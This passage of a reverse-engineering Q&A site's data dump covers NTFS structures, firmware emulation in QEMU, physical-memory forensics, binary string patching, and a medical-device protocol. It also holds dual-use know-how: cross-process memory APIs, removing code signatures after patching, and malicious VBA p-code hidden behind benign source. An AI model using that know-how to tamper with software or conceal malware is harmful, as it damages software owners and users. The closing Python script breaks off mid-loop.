  <row Id="15690" PostTypeId="1" CreationDate="2017-06-27T08:03:41.277" Score="1" ViewCount="323" Body="&lt;p&gt;The structure of the Index Record in &lt;em&gt;NTFS 3.1&lt;/em&gt; is clear:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Offset      Description&#xA;-------------------------------------&#xA;0x00        MFT Reference of the file&#xA;0x08        Size of the index entry&#xA;0x0A        Offset to the filename&#xA;...&#xA;0x52        Filename&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The filename is always located at &lt;code&gt;0x52&lt;/code&gt;. So, why do we need the data stored on &lt;code&gt;0x0A&lt;/code&gt;? And what does it include (Almost not &lt;code&gt;0x52&lt;/code&gt;)?&lt;/p&gt;&#xA;" OwnerUserId="20701" LastActivityDate="2017-06-27T08:03:41.277" Title="What does the “Offset to the filename” stands for in an Index Record in NTFS" Tags="|hex|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15691" PostTypeId="1" AcceptedAnswerId="15703" CreationDate="2017-06-27T08:48:07.587" Score="6" ViewCount="5712" Body="&lt;p&gt;I am currently learning and I wanted to ask, how can I change a text (string) from inside an app I am reversing? For example &quot;To begin, please login&quot;. I have found the XREF to the string location but I don't know how to change it. I am using Hopper Disassembler on mac.&lt;/p&gt;&#xA;" OwnerUserId="20253" LastActivityDate="2017-12-28T13:04:52.597" Title="Changing strings in Hopper Disassembler" Tags="|patch-reversing|hopper|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15692" PostTypeId="2" ParentId="15681" CreationDate="2017-06-27T09:20:49.443" Score="5" Body="&lt;p&gt;Yes, it is &lt;em&gt;possible&lt;/em&gt; but may depend on the OS you're trying to run it on. From the &lt;a href=&quot;http://www.phreedom.org/research/tinype/&quot; rel=&quot;noreferrer&quot;&gt;TinyPE page&lt;/a&gt; by  Alexander Sotirov:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Unfortunately the 97 byte PE file does not work on Windows 2000. This&#xA;  is because the loader tries to call a function from KERNEL32, but&#xA;  KERNEL32.DLL is not loaded. All other versions of Windows load it&#xA;  automatically, but on Windows 2000 we have to make sure that&#xA;  KERNEL32.DLL is listed in the import table of the executable.&#xA;  Executing a PE file with no imports is not possible.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, if you use XP or above you can rely on kernel32 being in memory and use its functions. I suspect (but did not check) that even on Windows 2000 the &lt;strong&gt;&lt;code&gt;ntdll.dll&lt;/code&gt;&lt;/strong&gt; is mapped by the kernel, so you may be able to use it to do useful work (e.g. &lt;code&gt;LdrLoadDll&lt;/code&gt; to load other DLLs and &lt;code&gt;LdrGetProcedureAddress&lt;/code&gt; to resolve functions).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-06-27T09:20:49.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15694" PostTypeId="1" CreationDate="2017-06-27T11:21:37.057" Score="1" ViewCount="710" Body="&lt;p&gt;Continuing from this question:&#xA;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2704/firmware-analysis-and-file-system-extraction&quot;&gt;Firmware analysis and file system extraction?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to run the QNap firmware using QEmu. I have basically the same &#xA;firmware as is used in the question above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My QEMU command is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo qemu-system-x86_64 -kernel bzImage -initrd initrd.boot -m 2048 -smp 8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works and I get the QNap login page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there is one thing that I cannot get to work (I tried lots of things...), that is: How to get networking up and running? There is only the local loopback interface when I use the ifconfig command. There should be a default NIC for qemu VM's, but I only see it on startup when simply running the qemu-system-x86_64 command.&#xA;What can I do to get this VM running with networking configured, so I can perform some tests with it?&lt;/p&gt;&#xA;" OwnerUserId="20704" LastEditorUserId="60" LastEditDate="2017-06-27T12:23:13.260" LastActivityDate="2017-06-30T09:35:30.020" Title="Network support when emulating firmware with QEMU" Tags="|firmware|qemu|networking|emulation|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15695" PostTypeId="1" CreationDate="2017-06-27T12:34:59.387" Score="1" ViewCount="3966" Body="&lt;p&gt;I am trying to determine how to read physical memory.  I understand that when the OS is in protected mode a process can only access the virtual memory assigned to it without resulting in a segmentation fault.  Is it possible to read physical memory using assembly language running in real mode?  I'm assuming that using assembly language would be the most effective method rather than using a higher-level language such as C.  My goal is to create a program which can scan physical memory to be used for memory forensic applications.  I am running a Windows OS using MASM.&lt;/p&gt;&#xA;" OwnerUserId="20705" LastActivityDate="2017-06-27T18:43:49.237" Title="Reading Physical Memory" Tags="|assembly|memory|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15696" PostTypeId="2" ParentId="15685" CreationDate="2017-06-27T15:20:13.880" Score="2" Body="&lt;p&gt;Use the command &lt;code&gt;binwalk -Me FW_EA2750_1.1.7.172380_prod.img&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will recursively extract all files and even extract the JFFS2 filesystem into the folder &lt;code&gt;_FW_EA2750_1.1.7.172380_prod.img.extracted/jffs2-root/fs_1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; As to your jefferson issue, I believe you need to install cstruct 1.0. So.. &lt;a href=&quot;https://github.com/sviehb/jefferson/issues/9&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/sviehb/jefferson/issues/9&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20574" LastActivityDate="2017-06-27T15:20:13.880" CommentCount="15" ContentLicense="CC BY-SA 3.0" />
  <row Id="15697" PostTypeId="2" ParentId="15695" CreationDate="2017-06-27T15:35:56.067" Score="3" Body="&lt;p&gt;The language you write in won't make any difference here, the limitation on memory access is coming from the CPU and not the language you're using. In addition, you can't go to &lt;code&gt;realmode&lt;/code&gt; after you've switched to protected mode. This is also a CPU limitation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But before that, a small correction:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;process can only access the virtual memory assigned to it without resulting in a segmentation fault.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's not that a process cannot access another process's memory, it simply cannot address, describe or reference it, since each process in protected mode has it's own address space. Therefore the address may be valid, so if you'll want to access address &lt;code&gt;0x401000&lt;/code&gt; in another process and just execute &lt;code&gt;mov eax, DWORD PTR [0x401000]&lt;/code&gt; you might get a value (instead of a segfault), it just won't be the value in that other process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, accessing a memory of another process is impossible to do from a user-mode process's standpoint. Only the kernel can access to memory of different processes (and even that is a complex operation). Because reading memory of other processes is sometimes needed, windows provides two convenient APIs called &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms680553(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;ReadProcessMemory&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms681674(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;WriteProcessMemory&lt;/code&gt;&lt;/a&gt;. You can also use &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/aa366890(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;VirtualAllocEx&lt;/code&gt;&lt;/a&gt; to allocate memory in a remote process.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2017-06-27T15:35:56.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15698" PostTypeId="2" ParentId="15695" CreationDate="2017-06-27T17:04:43.773" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I understand that when the OS is in protected mode a process can only access the virtual memory assigned to it without resulting in a segmentation fault.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Correct. By design, all processes are confined to their own address space and cannot access (without the OS help) the address space of other running processes. Kernel is responsible for the VM management of each running process and basically with the help of CR3 register which is the root pointer for Virtual address table for each process. CR3 is updated by kernel on each new scheduled process execution. All addresses in CR3 pointed table are physical addresses with corresponding virtual addresses mappings. (more on this later)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it possible to read physical memory using assembly language running in real mode? I'm assuming that using assembly language would be the most effective method rather than using a higher-level language such as C.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Why do you assume that it will be more effective? Doing physical memory inspection in real mode could be pretty challenging task and will require machine reboot which is not advisable for any forensic oriented memory acquisition. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;My goal is to create a program which can scan physical memory to be used for memory forensic applications.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This goal could be achieved from the kernel space with the help of a specific kernel driver. Such kernel driver would need to parse a Virtual address table for each running process and kernel itself. There are several ways to do it:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The main pointers for each process's VAT is stored in CR3 register or in Windows case also available in every &lt;code&gt;KPROCESS struct @ DirectoryTableBase&lt;/code&gt;  more on it &lt;a href=&quot;http://blog.nandaka.io/paging-virtual-to-physical-address-translation-via-windbg/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. Once you have this pointer, you can manually parse the table and get the PHY to VIRT mappings. With this information, using &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/hardware/ff554435(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Memory Manager Routines&lt;/a&gt; you can get the contents of most memory pages. This is the most hard but more proper way to do it.&lt;/li&gt;&#xA;&lt;li&gt;Another way is with &lt;code&gt;MmGetPhysicalMemoryRanges&lt;/code&gt;, but it can miss some ranges&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I also suggest you to go over &lt;a href=&quot;http://www.rekall-forensic.com/docs/Tools/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Rekall&lt;/a&gt; tools where IMO is described one of cleaner forensic memory acquisition ways that you can do relatively easily and comprehensively. Go over some technical papers referenced there if you'd like to get a deeper knowledge on the subject. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, forensic memory imaging is pretty broad subject and there are more ways to do it then I've described here.&lt;/p&gt;&#xA;" OwnerUserId="2021" LastEditorUserId="2021" LastEditDate="2017-06-27T17:50:51.587" LastActivityDate="2017-06-27T17:50:51.587" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15699" PostTypeId="2" ParentId="15695" CreationDate="2017-06-27T18:43:49.237" Score="1" Body="&lt;p&gt;I have some quite old code here which reads physical memory under windows:&#xA;&lt;a href=&quot;http://nah6.com/~itsme/cvs-xdadevtools/itsutils/src/sysint-physmem.cpp&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://nah6.com/~itsme/cvs-xdadevtools/itsutils/src/sysint-physmem.cpp&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In unix like systems you would read &lt;code&gt;/dev/mem&lt;/code&gt; to access physical memory. However, most modern variants - linux, android, macos - disable this by default.&lt;/p&gt;&#xA;" OwnerUserId="1842" LastActivityDate="2017-06-27T18:43:49.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15701" PostTypeId="2" ParentId="15508" CreationDate="2017-06-27T21:36:31.717" Score="2" Body="&lt;p&gt;The firmware itself most likely is not a binary. Also usually when you run file it will tell you something like: &lt;br&gt;&#xA;&lt;code&gt;file busybox &#xA;busybox: ELF 32-bit MSB executable, MIPS, MIPS32 version 1&lt;/code&gt;. My guess is that you haven't actually extracted any binaries yet. My advice would be to use something like binwalk to extract specific files and binaries from the firmware. Running objdump on an entire firmware will probably give you an object dump of every single binary in your firmware and that could be a lot.&lt;/p&gt;&#xA;" OwnerUserId="20574" LastActivityDate="2017-06-27T21:36:31.717" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15703" PostTypeId="2" ParentId="15691" CreationDate="2017-06-27T23:05:59.153" Score="8" Body="&lt;p&gt;You can modify strings or other bytes within the hex editor (⇧⌘H) or click on the hex edit panel. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0sCn1.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0sCn1.png&quot; alt=&quot;hexedit panel&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then modify whatever you want&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3x01C.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3x01C.png&quot; alt=&quot;edit bytes&quot;&gt;&lt;/a&gt;&#xA;You'll need to write a new executable back (⇧⌘E) if you want to save it. Also, be aware that if it is a signed binary, you will need to remove any code signature or resign it as the binary won't match the signature after a change.&lt;/p&gt;&#xA;" OwnerUserId="14715" LastEditorUserId="14715" LastEditDate="2017-06-28T19:48:46.883" LastActivityDate="2017-06-28T19:48:46.883" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15704" PostTypeId="2" ParentId="15639" CreationDate="2017-06-28T00:18:19.697" Score="3" Body="&lt;p&gt;You should note that the code exists in up to 3 compiled states within the file, with the compressed source code being the source of last resort.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The VBA engine will prefer the code in execode format (where the file and the current VBA environment are a match), and &lt;em&gt;then&lt;/em&gt; the p-code (where the file and VBA environment can match more loosely) and only then the compressed source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible for the p-code to be different to the compressed source code, and where the environment doesn't differ, the source code will be ignored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you open a file containing VBA, the VBE usually decodes the p-code into the source that you see in the visual basic editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A malicious actor can embed source-code that looks benign, but the p-code is malicious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See this the &lt;a href=&quot;https://github.com/bontchev/pcodedmp&quot; rel=&quot;nofollow noreferrer&quot;&gt;pcodedmp&lt;/a&gt; project that leverages &lt;a href=&quot;https://github.com/decalage2/oletools/tree/master/oletools&quot; rel=&quot;nofollow noreferrer&quot;&gt;OLETools&lt;/a&gt;, and attempts to decode the p-code.&lt;/p&gt;&#xA;" OwnerUserId="17487" LastEditorUserId="17487" LastEditDate="2017-06-28T00:27:03.690" LastActivityDate="2017-06-28T00:27:03.690" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15705" PostTypeId="1" CreationDate="2017-06-28T04:50:27.240" Score="3" ViewCount="1968" Body="&lt;h1&gt;Background story&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;For couple of days I'm trying to crack the protocol used the old medical device, in order to collect data for a research in an automated way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The device in question is &lt;strong&gt;Novametrix CO2SMO Plus&lt;/strong&gt;, model &lt;strong&gt;8100&lt;/strong&gt;. Manufacturer of this device was bought, long time ago, by Respironics and than Respironcis was bought by Philips. Their website doesn't exists for last 12-14 years and archived copy doesn't have any useful information. Since device was designed before 2000 there's no software over the Internet - it was distributed on floppy disks so as software updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Device is very similar to model 7100, which was released ~3 years prior to the 8100. Devices mainly differ in software - the one in 8100 is much more sophisticated.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Physical layer&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;At first I stared from obvious things like determining physical layer of the connection - that went easy, since &lt;a href=&quot;http://www.frankshospitalworkshop.com/equipment/documents/pulse_oximeter/service_manuals/Novametrix_8100_-_Service_manual.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;service manual&lt;/a&gt; actually lists all signals in DB25, located on the back of the device. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the beginning I hoped 8100 will use similar, well documented by manufacturer, ASCII protocol (called &lt;code&gt;NOVACOM1&lt;/code&gt;) as 7100 used. Unfortunately it's not the case. My device uses newer protocol called &lt;code&gt;NOVACOM3&lt;/code&gt; - there's zero information about it in the Internet; it seems like &lt;code&gt;NOVACOM2&lt;/code&gt; was never released.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't own oscilloscope (and I don't have an access to electronics labs on my college), so I determined baudrate of the port just observing the traffic with different baudrates with debugging mode enabled on device (more on that later). With high confidence I can say it's 9600 8N1 (like in previous model).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Device uses &lt;a href=&quot;http://www.nxp.com/products/microcontrollers-and-processors/more-processors/coldfire-plus-coldfire-32-bit-mcus/68k-processors-legacy/m683xx/32-bit-microcontroller:MC68332&quot; rel=&quot;nofollow noreferrer&quot;&gt;NXP MC68332 MCU&lt;/a&gt;, which according to the data sheet is a rugged 32 bit core with quite a few subunits useful in an automotive applications. It also seems to be a secure one - since I have almost no experience in EE I quickly dismissed any possibilities to attempt of physically attacking the CPU.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;PC software&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;According to the service manual, manufacturer had developed PC software used for communication with the device - &lt;em&gt;&quot;CO2SMO Plus! for Windows&quot;&lt;/em&gt;. Unfortunately it was sold as a separate package and it's nowhere to be found now.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Diagnostic protocol&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The device has two Novametrix protocols - &lt;code&gt;NOVACOM3&lt;/code&gt; and &lt;code&gt;SATDIAG&lt;/code&gt;. Since diagnostic protocols are usually simpler I started from the later one:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;SATDIAG streams data continuously&lt;/li&gt;&#xA;&lt;li&gt;Protocol, besides sending data to the computer, contains some unknown upload mode for firmware update (probably some XMODEM or so... I don't have firmeware blob, so obviously I didn't played with this)&lt;/li&gt;&#xA;&lt;li&gt;After analysis I can say with high confidence each packet begins with &lt;code&gt;0x00&lt;/code&gt; and ends with &lt;code&gt;0x0A&lt;/code&gt; (LF)&lt;/li&gt;&#xA;&lt;li&gt;Protocol streams packets few times a second (I didn't conducted any measurements on that, but it's 15-20/s)&lt;/li&gt;&#xA;&lt;li&gt;Device alternates between sending 9 and 25 bytes (including 2B of header and footer) packets&lt;/li&gt;&#xA;&lt;li&gt;Every few of seconds 41 bytes packet is transmitted &lt;/li&gt;&#xA;&lt;li&gt;Most probably no checksum is used (the same payloads contain different last byte, I also calculated popular checksums for few)&lt;/li&gt;&#xA;&lt;li&gt;Protocol seems to be aimed strictly for collecting performance data, some sort of resources usage or represents unknown internal state -  changes in measurements aren't causing any notable changes in packets. I also tried manually searching for numbers similar to these displayed by the device - no luck.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In summary &lt;code&gt;SATDIAG&lt;/code&gt; seems to be more like a debugger dumping some performance metrics or resources usage.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Control protocol&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Next I started playing with the protocol used to talk to the PC software - NOVACOM3:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The protocol follows request-response pattern&lt;/li&gt;&#xA;&lt;li&gt;In order to display live waveforms protocol has to contain continuous mode which just streams data without additional queries: &lt;em&gt;that is what I want to get&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;By sending different characters I determined that &lt;code&gt;0x00&lt;/code&gt; marks end of the packet. There's no signs of any character marking beginning the the packets.&lt;/li&gt;&#xA;&lt;li&gt;It looks like device expects (some?) packets to be 8 bytes (including trailing &lt;code&gt;NULL-BYTE&lt;/code&gt;) long - while sending different lengths terminated by &lt;code&gt;0x00&lt;/code&gt; I see for 8 bytes device is consistent with replying with 2 bytes.&lt;/li&gt;&#xA;&lt;li&gt;Seems to have no checksum - I've got different 2 bytes responses with the same first byte and different 2nd&lt;/li&gt;&#xA;&lt;li&gt;Response packets seems to have no length defined&lt;/li&gt;&#xA;&lt;li&gt;Sending multiple &lt;code&gt;0x00&lt;/code&gt; seems to &quot;zero&quot; the device input buffer - while I was playing with determining length sending 3-4 &lt;code&gt;0x00&lt;/code&gt; was causing device to behave consistently.&lt;/li&gt;&#xA;&lt;li&gt;Sending multiple &lt;code&gt;0x00&lt;/code&gt; generates no response&lt;/li&gt;&#xA;&lt;li&gt;Protocol may have some blocks of commands: while I started scanning by sending 1 byte + &lt;code&gt;0x00&lt;/code&gt; I've got no response for 7 bytes after each of the bytes: &lt;code&gt;0x10&lt;/code&gt;, &lt;code&gt;0x30&lt;/code&gt;, &lt;code&gt;0x50&lt;/code&gt;, &lt;code&gt;0x70&lt;/code&gt;, &lt;code&gt;0x90&lt;/code&gt;, &lt;code&gt;0xb0&lt;/code&gt;, &lt;code&gt;0xd0&lt;/code&gt;, &lt;code&gt;0xf0&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;All responses which I was able to get were 2 bytes or 4 bytes (and the longer ones seem to be 2 packets actually). Each packet was started with &lt;code&gt;0x2A&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;The only responses o was able to get were: &lt;code&gt;{0x2A, 0xA0}&lt;/code&gt;, &lt;code&gt;{0x2A, 0xA1}&lt;/code&gt;, &lt;code&gt;{0x2A, 0x80}&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;The packet &lt;code&gt;{0x2A, 0x80}&lt;/code&gt; may actually be some sort of ACK, since a lot of times I had to wait for second packet for a 1-1.5s when responses were 4 bytes long.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;0x20&lt;/code&gt; (space) / &lt;code&gt;0x40&lt;/code&gt; (@) / &lt;code&gt;0x60&lt;/code&gt; seems to be a white character - sending it followed by 0x00 leads to no response. These characters are also very common in SATDIAG.  It's a little bit suspicious that they're spaced so evenly 20-40-60. Now while writing this I think it might be some connection with the ranges described few points before (10-30-50-70-90-...)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;I'm stucked...&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I wasn't able to force device to start streaming - if I would manage to do that figuring out parameters shouldn't be that hard, since I have the display on the unit and I know which parameters to expect. Until than... I have no idea how to progress further. I also tried contacting Philips division which bought the company - no response whatsoever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="20712" LastEditorUserId="20712" LastEditDate="2017-06-28T05:03:20.347" LastActivityDate="2018-08-14T14:08:34.880" Title="Reverse engineering unknown RS232/UART binary protocol" Tags="|hardware|embedded|serial-communication|protocol|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15706" PostTypeId="1" CreationDate="2017-06-28T09:07:01.893" Score="1" ViewCount="2191" Body="&lt;p&gt;I have three files:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;ELF executable,&lt;/li&gt;&#xA;&lt;li&gt;ELF dynamically linked library (&lt;code&gt;.so&lt;/code&gt;),&lt;/li&gt;&#xA;&lt;li&gt;C headers file (&lt;code&gt;.h&lt;/code&gt;) with function signatures and related structures for that library.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;#1 imports a number of functions from #2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way for me to leverage #3 to automatically apply signatures from #3 to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Imports in #1 in one instance of IDA?&lt;/li&gt;&#xA;&lt;li&gt;Exports in #2 in another instance of IDA?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="20459" LastActivityDate="2017-09-26T22:13:25.473" Title="IDA Pro - Applying function signatures" Tags="|ida|linux|c|elf|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15707" PostTypeId="2" ParentId="15706" CreationDate="2017-06-28T09:37:08.817" Score="0" Body="&lt;p&gt;Try using File -&gt; Load File -&gt; Parse C Header File (Ctrl+F9). You might need to tweak some things in the header file.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2017-06-28T09:37:08.817" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15709" PostTypeId="1" AcceptedAnswerId="15711" CreationDate="2017-06-28T19:36:14.980" Score="1" ViewCount="401" Body="&lt;h3&gt;Background&lt;/h3&gt;&#xA;&lt;p&gt;In my endeavor to RE my router, I'm trying to emulate a router's firmware inside a QEMU MIPS system. I have debian-mips installed to a virtual disk that runs just fine. Its a MIPS32 Big Endian system. I don't have any issue with the debian system. I have extracted the root file-system and uploaded it to the debian-mips system.&lt;/p&gt;&#xA;&lt;h3&gt;Issue&lt;/h3&gt;&#xA;&lt;p&gt;My issue is when I attempt to run any of the binaries from the router firmware:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;root@debian-mips:~/firm# chroot . ./bin/busybox.old &#xA;./bin/busybox.old: can't load library 'libcms_boardctl.so'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However, I know it's there:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;root@debian-mips:~/firm# ls -l ./lib/public/&#xA;total 1512&#xA;-rwxrwxrwx 1 root root    7280 Jun 28 18:27 libcms_boardctl.so&#xA;-rwxrwxrwx 1 root root   11320 Jun 28 18:27 libcms_msg.so&#xA;-rwxrwxrwx 1 root root  148944 Jun 28 18:27 libcms_util.so&#xA;-rwxrwxrwx 1 root root 1083432 Jun 28 18:27 libcrypto.so.0.9.8&#xA;-rwxrwxrwx 1 root root  275712 Jun 28 18:27 libssl.so.0.9.8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Maybe my google-fu is lacking, but there is not much information on the internet about chrooting MIPS environments. Thank you for your time.&lt;/p&gt;&#xA;&lt;p&gt;Edit add'l file info:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;root@debian-mips:~/firm# file public/libcms_boardctl.so &#xA;public/libcms_boardctl.so: ELF 32-bit MSB shared object, MIPS, MIPS32 version 1 (SYSV), dynamically linked, corrupted section header size&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="20574" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2017-06-29T00:24:50.613" Title="library issue when running mips binary in a chrooted environment" Tags="|firmware|linux|mips|qemu|emulation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15710" PostTypeId="2" ParentId="10995" CreationDate="2017-06-28T19:43:51.330" Score="2" Body="&lt;p&gt;Fernand Lone Sang from Quarkslab has had success disassembling the S6 bootloader (ARMv8, AArch64):&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blog.quarkslab.com/reverse-engineering-samsung-s6-sboot-part-i.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Reverse Engineering Samsung S6 SBOOT - Part I&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blog.quarkslab.com/reverse-engineering-samsung-s6-sboot-part-ii.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Reverse Engineering Samsung S6 SBOOT - Part II&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;SBOOT's base address is identified to be &lt;code&gt;0x02102000&lt;/code&gt; by executing this python script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys&#xA;import string&#xA;import struct&#xA;&#xA;RT_SVC_DESC_FORMAT  = &amp;quot;BBB5xQQQ&amp;quot;&#xA;RT_SVC_DESC_SIZE    = struct.calcsize(RT_SVC_DESC_FORMAT)&#xA;RT_SVC_DESC_OFFSET  = 0xcb50&#xA;RT_SVC_DESC_ENTRIES = (0xcc10 - 0xcb50) / RT_SVC_DESC_SIZE&#xA;&#xA;if len(sys.argv) != 2:&#xA;    print(&amp;quot;usage: %s &amp;lt;sboot.bin&amp;gt;&amp;quot; % sys.argv[0])&#xA;    sys.exit(1)&#xA;&#xA;sboot_file = open(sys.argv[1], &amp;quot;rb&amp;quot;)&#xA;sboot_data = sboot_file.read()&#xA;&#xA;rt_svc_desc = []&#xA;for idx in range(RT_SVC_DESC_ENTRIES):&#xA;    start = RT_SVC_DESC_OFFSET + (idx &amp;lt;&amp;lt; 5)&#xA;    desc = struct.unpack(RT_SVC_DESC_FORMAT,&#xA;                         sboot_data[start:start+RT_SVC_DESC_SIZE])&#xA;    rt_svc_desc.append(desc)&#xA;&#xA;strlen = lambda x: 1 + strlen(x[1:]) if x and x[0] in string.printable else 0&#xA;&#xA;for base_addr in range(0x2100000, 0x21fffff, 0x1000):&#xA;    names = []&#xA;    print(&amp;quot;[+] testing base address %08x&amp;quot; % base_addr)&#xA;    for 